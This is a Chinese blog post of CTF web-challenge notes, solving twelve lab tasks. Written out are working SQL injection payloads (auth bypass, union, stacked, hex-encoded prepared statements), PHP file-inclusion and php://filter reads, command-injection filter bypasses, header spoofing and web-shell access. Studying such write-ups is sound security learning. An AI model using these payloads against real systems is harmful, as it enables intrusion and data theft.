4825 字
24 分钟
CTF 题型笔记
2024-01-24

CTF题型#


一、Basic#

二、Crypto(密码学)#

三、DASBOOK#

四、Misc(杂项)#

五、N1BOOK#

六、Pwn#

七、Real#

八、Reverse(逆向)#

九、Web#

1、[极客大挑战 2019]EasySQL#

https://blog.csdn.net/m0_62239233/article/details/132916255

image-20240121204236087

一、找到页面与数据库产生交互的地方

二、判断数字类型(字符型)

三、使用字符型万能密码 a’ or true #

2、[极客大挑战 2019]Havefun#

https://blog.csdn.net/qq_45766004/article/details/114930782

image-20240121204554281

查看源代码

image-20240121204540940

代码审计

在url上跟着 /?cat=dog

3、[HCTF 2018]WarmUp#

https://blog.csdn.net/xhy18634297976/article/details/119494505

image-20240121204916928

什么都没有,老规矩代码审计,查看源代码

可以发现有注释有source.php,进行访问可以看见

<?php
highlight_file(__FILE__);
class emmm
{
//$page前面加&代表引用,这里是引用传递
public static function checkFile(&$page)
{
//定义whitelist数组
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//如果page变量未声明或为null,或者不是字符串,则进入if
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//如果page的值在$whitelist数组里则进入if
if (in_array($page, $whitelist)) {
return true;
}
//截取从0到?首次出现的位置的字符串
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?') //点在php中用来连接两个字符串或变量,此代码意思为拼接page和?的值,并返回?字符首次出现的位置
);
//如果_page的值在$whitelist数组里则进入if
if (in_array($_page, $whitelist)) {
return true;
}
//对page解码
$_page = urldecode($page);
//截取从0到?首次出现的位置的字符串
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//如果_page的值在$whitelist数组里则进入if
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
//如果file变量为空 且 是字符串 且 通过checkFile 校验,则进入if
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

还有一个hint.php

image-20240121205651491

​ 读懂了emmm类的代码后,我们需要构造file的值。本地文件包含漏洞的格式一般是file=../../../…/xxx,其中../的个数不固定,xxx为flag文件名,那么这个xxx具体是什么呢?我们尝试访问一下hint.php,发现提示:flag not here, and flag in ffffllllaaaagggg,可以猜测到服务器存放flag的文件名可能为ffffllllaaaagggg,我们可以构造的file=../ffffllllaaaagggg,将其带入checkFile中看一下是否可以返回true。

因此答案为 /index.php?file=hint.php?../../../../../ffffllllaaaagggg

知识详解

一:php常见函数

  • isset:检测变量是否已声明并且其值不为 null
  • in_array:检查数组中是否存在某个值,第一个参数为待搜索的值,第二个参数为要搜索的数组
  • is_string:检测变量是否是字符串
  • empty:检查一个变量是否为空
  • :_REQUEST可以获取以POST方法和GET方法提交的数据
  • mb_strcut() :根据 start 和 length 参数返回 str 的一部分
  • mb_strpos():查找字符串在另一个字符串中首次出现的位置
  • urldecode(): 解码已编码的 URL 字符串
  • include():包含并运行指定文件
  • include_once() :include_once 表达式和 include 表达式完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含
  • require() :require 和 include 几乎完全一样,除了处理失败的方式不同之外。require 在出错时脚本会中止,而include会继续运行。
  • require_once():require_once 表达式和 require 表达式完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。

二:文件包含漏洞

文件包含漏洞

漏洞原因:

  • php代码中使用了文件包含函数
  • 文件包含函数参数可以自定义且没有经过过滤

漏洞分类:

  • 本地文件包含漏洞(LFI):指包含本地服务器中的文件

    • 格式:?file=../../../xxxx
  • 远程文件包含漏洞(RFI):指包含远程服务器中的文件

    • php.ini中的allow_url_fopen = On和 allow_url_include = On 时,才可以利用该漏洞
    • 格式:?file=http://xxxx.xxx/xxxx
  • php中引发文件包含漏洞的通常是以下四个函数:

    • include():包含并运行指定文件
    • include_once() :include_once 表达式和 include 表达式完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含
    • require() :require 和 include 几乎完全一样,除了处理失败的方式不同之外。require 在出错时脚本会中止,而include会继续运行。
    • require_once():require_once 表达式和 require 表达式完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。
    • 当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。

4、[ACTF2020 新生赛]Include#

https://blog.csdn.net/weixin_45642610/article/details/112427044

image-20240122194843190

查看源码

image-20240122195043341

看到?file=flag.php 猜测文件包含漏洞

知识点:

php://filter与包含函数结合时,php://filter流会被当作php文件执行。
所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
php://filter 伪协议文件包含读取源代码,加上read=convert.base64-encode,
用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
php://input 伪协议 + POST发送PHP代码 (不行)

直接构造payload

?file=php://filter/convert.base64-encode/resource=flag.php

这里的过滤器是把文件flag.php里的代码转换(convert)为base64编码(encode)

image-20240122195236912

base64解码

image-20240122195344508

可以发现flag是被注释的,所以我们先编码后解码才能得到完整的源码

得到flag

5、[ACTF2020 新生赛]Exec#

https://blog.csdn.net/qq_51553814/article/details/119297562

image-20240122200007062

这一看典型的RCE漏洞

image-20240122200625274

并且没有过滤分号和ls

接着我们就遍历目录了,通过cd …/达到访问上一个目录的目的,再通过ls 达到查看该目录有哪些文件

image-20240122201303126

可以看到查看上三级目录后出现了flag这个文件,接着查看flag就行了

image-20240122201348833

6、[GXYCTF2019]Ping Ping Ping#

https://blog.csdn.net/qq_51439282/article/details/113378868

image-20240122201637382

根据提示开ping并ls开始查看当前目录

image-20240122202850442

如果查看flag.php会发现flag这个词应该被过滤了

先查看index.php看一下设置什么限制,这里有空格限制,所以我先用IFSIFS9绕过(空格绕过:%09,%20,IFSIFS9,<>,IFS,花括号,但是这里也就{IFS},花括号{},但是这里也就IFS$9可行)

image-20240122203037179

可以发现它禁用了很多符号,这里我们采用内联执行的方式

所谓内联,就是将反引号内命令的输出作为输入执行

\?ip=127.0.0.1;cat$IFS$9`ls`

这个命令的意思就是先执行ls得到flag.php和index.php并且cat查看这两个文件的内容,把ls的输出当成cat的输入来看(注意此时看到的页面会隐藏flag的相关内容,需要ctrl+u或者F12查看网页源代码才能发现隐藏的flag)

image-20240122204717053

7、[强网杯 2019]随便注#

https://blog.csdn.net/m0_73734159/article/details/134049744

第一步:先判断注入点的传参方式,发现是get传参

第二步:判断闭合方式

先输入 1

image-20240123182318956

然后再尝试输入 1’

image-20240123182717233

说明了两点:本题的闭合方式确实是 ’ 闭合,同时我们确定在本题我们是有可能是能使用报错注入的

1' and 1=1 -- + (在这个框里面的要-- +中间加一个空格在url上就不用)
image-20240123183416535
1' and 1=2 -- +
image-20240123183449752

说明闭合方式为单引号

如果输入 1” and 1=1 — + 和 1” and 1=2 — + 两次的回显结果一样,说明闭合方式不是 双引号 其他同理

第三步:判断是否有关键字过滤

先直接输入: select 查看回显,发现

image-20240123183721322

发现本题过滤关键字:/select|update|delete|drop|insert|where|\.而且不区分大小写。

坏了,select一被禁用,联合查询,报错注入,布尔,时间盲注就都不可以使用了。我们只剩下了 堆叠注入。

先尝试使用堆叠注入:

查看所有数据库

1';show database -- +
image-20240123184004554

可以发现什么都没显示,但是可以确定一点可以使用堆叠注入

查看所有数据表

1';show tables -- +
image-20240123185335360

爆words数据表的字段

1';show columns from `words` -- +
image-20240123185732691

这里没有flag

爆1919810931114514数据表的字段

1';show columns from `1919810931114514` -- +
image-20240123185846690

发现flag

关于在这里使用 ` 而不是 ’ 的一些解释:

两者在linux下和windows下不同,linux下不区分,windows下区分。

单引号 ’ 或 双引号 ” 主要用于字符串的引用符号

反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)

有MYSQL保留字作为字段的,必须加上反引号来区分!!!

方法一:改表名查询

可以看到这两个表words表有两个字段,而另一个只有一个字段

后台SQL查询语句应该是:

select * from words where id=

所以说只能先查询id字段,然而另一个表只有一个flag字段是肯定爆不了flag的,并且类型为varchar字符串类型,而恰巧words数据表里面的data也是varchar类型,因此从这里就可以得到做题思路,通过rename函数进行改表,把1919810931114514改为words,增加新字段id,将flag改为data,将刚开始那个words表改为其他任意表。

构造payload:

1';rename table words to BaiMao;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100) -- +
rename修改表名
alter修改已知的列
add增加
int整数类型
unsigned无符号类型
not null- 指示某列不能存储 NULL 值。
primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。
auto_increment-自动赋值,默认从1开始。
image-20240123190853370

注意此时没有回显flag,就类似于你更新了个东西但是没刷新,重新在文本框里面输入1提交即可回显flag。

image-20240123190939867

成功回显flag

方法二:编码逃逸 绕过滤

由于select被过滤,考虑使用编码进行绕过 使用select查询就很简单了 构造payload

select * from where `1919810931114514`

*号查询数据表里面的全部内容,这就是爆出flag的原理 进行16进制编码加密

73656c656374202a2066726f6d20603139313938313039333131313435313460

最终payload:

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql -- +
prepare...from...是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
0x就是把后面的编码格式转换成16进制编码格式。
那么总体理解就是,使用SeT方法给变量a赋值,给a变量赋的值就是select查询1919810931114514表的所有内容语句编码后的值,execsql方法执行来自a变量的值,prepare...from...方法将执行后的编码变换成字符串格式,execute方法调用并执行execsql方法。

成果回显flag

image-20240123191916803

方法三:handler代替select

select命令被过滤了怎么办?

我们还可以用handler命令进行查看,handler命令可以一行一行的显示数据表中的内容。

构造payload:

1';handler `1919810931114514` open as `a`;handler `a` read next -- +
handler代替select,以一行一行显示内容
open打开表
as更改表的别名为a
read next读取数据文件内的数据次数

上传payload,回显flag:

image-20240123192231918

8、[SUCTF 2019]EasySQL#

https://blog.csdn.net/qq_46918279/article/details/120188186

分析:

先尝试输入

输入非0数字的时候会有一个回显

image-20240123205526023

输入大小写字母的时候没有回显

image-20240123210601484

判断是什么闭合 :输入1#能输出,而输入 1’ 和1’#没有输出,“被过滤掉,大致上可以按照数字型进行猜测。

image-20240123210908490

输入特殊字符也没有报错回显,所以报错注入基本上没戏了

image-20240123210954006

输入很多关于sql语句的东西(and,or,union,if,order from)都会显示Nonono,所以联合查询也没戏

image-20240123211059117

image-20240123211031373

再尝试时间盲注 ,sleep也被ban了,时间盲注也不行

image-20240123211137118

再尝试布尔盲注,因为if、and也被ban,所以布尔盲注也基本上没戏

1 and length(database())>=1 -- +

image-20240123211621857

最后看看堆叠注入

1;show tables -- +
1;show databases -- +
#因为from被ban了,所以无法使用show columns from 表名

image-20240123211744042

image-20240123211950528

堆叠能够使用,但是因为过滤了from,handler(类似于select),所以能够查找的信息也很有限

image-20240123213042096

image-20240123213108901

至此sql注入绝大部分方法都不行了

知识点:

我们知道默认情况下在MySQL中 || 运算符是逻辑或运算符(即or),但取决于PIPES_AS_CONCAT SQL模式。如果启用了set sql_mode=pipes_as_concat模式,则 || 运算符用作字符串连接,这和Oracle数据库是一样的,即用作CONCAT()函数的同义词。
插入:concat可以连接多个字符串如concat('id','name',','user')等。

例子:

image-20240123215011014image-20240123214929862image-20240123215052802image-20240123215103837

输入非零数字得到结果一直是1和而输入其余字符的数据就得不到回显=>来判断出内部的查询语句可能存在有||(即or:或运算)。

他的后端既然能做到数字回显字母不回显,说明有一个 或 结构,而且不直接回显flag,但作为一道题目,from一定是from flag。
那么内置语句就可以猜测为:
sql="select post['query'] || flag from flag";
上面只是个猜测啊。。。
可能不是flag是Flag,也可能from 别的地方。
但假设是这样的结构我们做一下。||是肯定有的。

原理:

MySQL中字符串与数字比较的坑

mysql之字符串进行运算或大小比较

方法一:

*,1

image-20240123215931274

等同于

select *,1 || flag from flag
根据之前的例子可以知道 1 || flag ->1 这是一个短路语句
select *,1 from flag
这个语句将返回 flag 表中的所有数据,同时在每一行的结果中添加一个常量列,其值为 1,因此这里的 1 可以换成其他数字,但不能是字母或其他符号,这样的查询会将表中的每一列都包含在结果集中,以及一个额外的常量列。
如果 flag 表有三列(例如:column1、column2、column3),那么执行这个查询会返回包含这三列以及额外的 1 列的结果集。例如:
+---------+---------+---------+---+
| column1 | column2 | column3 | 1 |
+---------+---------+---------+---+
| ... | ... | ... | 1 |
+---------+---------+---------+---+

方法二:

image-20240123223026950

1;set sql_mode=pipes_as_concat;select 1
根据之前的例子可以知道sql_mode=pipes_as_concat就是把 || 设置成了 concat 函数,可以将 || 运算符用作字符串连接
select 1;set sql_mode=pipes_as_concat;select 1 || flag from flag
但是要注意分号隔断了前面的命令,所以要再次添加select!!
因此等同于
select 1;select concat(1,flag) from flag
select 1只会返回一个常量1【Array ( [0] => 1 )】,最主要的是后面的select concat(1,flag) from flag会将常量1和字段flag的值连接返回【Array ( [0] => 1flag{0a333f61-edc2-43df-b2c1-8fe80a1d41ae} ) 】

9、[极客大挑战 2019]Secret File#

https://blog.csdn.net/qq_45766004/article/details/114947589

image-20240124185659653

分析:

没什么可以点击的先查看源代码

image-20240124185815331

找到一个叫Archive_room.php的文件,点进去看看

image-20240124185857352

发现有一个可以点击的SECRET,点击看看

image-20240124185938242

什么都没有,查看源代码看看

image-20240124185955588

依旧没有得到什么有用的信息,返回到之前的SECRET,既然它可以点击,那我们就点击抓包看看

image-20240124190157515

可以发现这里存在一个被注释的文件secr3t.php

我们访问看看

image-20240124190235726

代码审计后发现应该是需要?file=flag.php的

image-20240124190628407

但是什么都没有发现,所以我推测这里是需要使用跟之前的[ACTF2020 新生赛]Include一样的文件包含漏洞才能显示处理flag

?file=php://filter/convert.base64-encode/resource=flag.php

image-20240124190815913

这里它利用了filter伪协议,该协议刚好就能够查看文件包含的漏洞,所以当我们利用该协议查看flag.php时,会将它的源代码爆出来,但是因为base64的加密原因,所以我们还需要进行一次base64解密,现在进行解密行为

image-20240124191004484

10、[极客大挑战 2019]LoveSQL#

https://blog.csdn.net/satasun/article/details/106246493

image-20240124193018360

熟悉的界面,不过这次有点不太一样

判断闭合类型为单引号

依旧是先使用万能密码登入1' or true #密码任意

image-20240124193249340

登陆成功,看了一下url,是以get方式进行传参。先在username处测试一下有没有注入点:

?username=1' order by 1%23&password=1

image-20240124194108777

没有报错,只是说账号密码错误。直到order by 4的时候,报错了(后面的%23是#用来注释掉后面的内容的不能删)

?username=1' order by 4%23&password=1

image-20240124194126800

判断出有三个字段,接下来开始寻找注入点

?username=-1' union select 1,2,3%23&password=1

image-20240124194018662

很明显,2和3都是注入点,而且没有过滤,接下来直接写命令了,查询数据库名

?username=-1' union select 1,database(),3%23&password=1

image-20240124194236576

数据库名:geek

接下来查询数据表名

?username=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek'%23&password=1

image-20240124194757638

数据表名:geekuser,l0ve1ysq1

geekuser这张表感觉并没有存储账号密码的信息,所以我们看l0ve1ysq1

接下来查询l0ve1ysq1这张表的字段名

?username=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1'%23&password=1

image-20240124195121231

字段名:id,username,password

查询username和password字段的数据信息,这里同时查询两个字段信息,所以把3这个回显点也用上

?username=-1' union select 1,group_concat(username),group_concat(password) from l0ve1ysq1 %23&password=1

image-20240124195535366

可以发现页面信息重叠了,直接查看页面源代码

image-20240124195628862

找到flag

11、[极客大挑战 2019]Http#

https://blog.csdn.net/qq_53460654/article/details/116162207

image-20240124195853066

看完整个页面后也没发现什么可以点击的地方,直接查看源代码

image-20240124201435013

发现一个Secret.php文件,查看一下

image-20240124201523981

它需要我们从https://www.Sycsecret.com来访问它 所以要进行伪造来绕过了 所以bp抓包发送给重发器进行伪造 那怎么伪造网址访问呢

知识点:

请求数据包

1

image-20240124201819401

可以发现在请求数据包中的请求头中的Referer可以用来伪造访问地址

因此我们抓包,添加输入(这里需要注意这玩意需要放在请求头里面也就是稍微放前面一点)

Referer:https://Sycsecret.buuoj.cn
image-20240124202530451

image-20240124202635639

然后它又说要用Syclover browser 所以又要伪造浏览器 所以这里修改User-Agent

这里有个比较坑的点就是更改或添加新的请求头参数时需要把之前的添加重新输入进去

User-Agent:Syclover
image-20240124203111802

image-20240124202906694

它有提示你说只需要本地ip链接就行了 所以又要伪造ip了 X-Forwarded-For:用于修改ip 所以只需要改为本地ip(127.0.0.1)即可

X-Forwarded-For:127.0.0.1
image-20240124203329437

image-20240124203440519

成功得到flag

总结,在请求数据包中添加三个请求头参数即可

Referer:https://Sycsecret.buuoj.cn
User-Agent:Syclover
X-Forwarded-For:127.0.0.1

12、[极客大挑战 2019]Knife#

https://blog.csdn.net/weixin_44632787/article/details/117988176

image-20240124204210793

这里事实上提示我们使用菜刀连接,密码为Syc,但是蚁剑会比较好用,所以这里我们使用蚁剑来连接

image-20240124204524896image-20240124204710408

点击最左上角根目录->文件列表划到最后即可看见flag文件

image-20240124205109421image-20240124205141641
CTF 题型笔记
https://wangyi187.top/posts/ctf-question-types/
作者
WangYi
发布于
2024-01-24
许可协议
CC BY-NC-SA 4.0